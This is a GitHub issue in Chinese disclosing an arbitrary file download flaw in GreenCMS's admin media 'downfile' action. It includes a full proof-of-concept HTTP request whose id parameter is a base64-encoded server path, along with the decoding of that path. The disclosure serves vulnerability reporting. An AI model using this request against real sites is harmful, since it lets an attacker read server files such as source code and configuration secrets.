Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

GreenCMS存在任意文件下载漏洞 #111

Open
ctfddd opened this issue Jun 27, 2018 · 0 comments
Open

GreenCMS存在任意文件下载漏洞 #111

ctfddd opened this issue Jun 27, 2018 · 0 comments

Comments

@ctfddd
Copy link

ctfddd commented Jun 27, 2018

1、登录后台管理
2、使用payload
GET /greencms-beta/index.php?m=admin&c=media&a=downfile&id=RDpcd2FtcFx3d3dcR3JlZW5DTVMtYmV0YS9hZG1pbi5waHA= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/greencms-beta/index.php?m=admin&c=tools&a=log
Cookie:greencms_last_visit_page=.......; PHPSESSID=.......; Hm_lpvt_48659a4ab85f1bcebb11d3dd3ecb6760=1530062561
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
3、id参数值为base64编码后的路径
id=RDpcd2FtcFx3d3dcR3JlZW5DTVMtYmV0YS9hZG1pbi5waHA=
解码为:
id=D:\wamp\www\GreenCMS-beta/admin.php

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant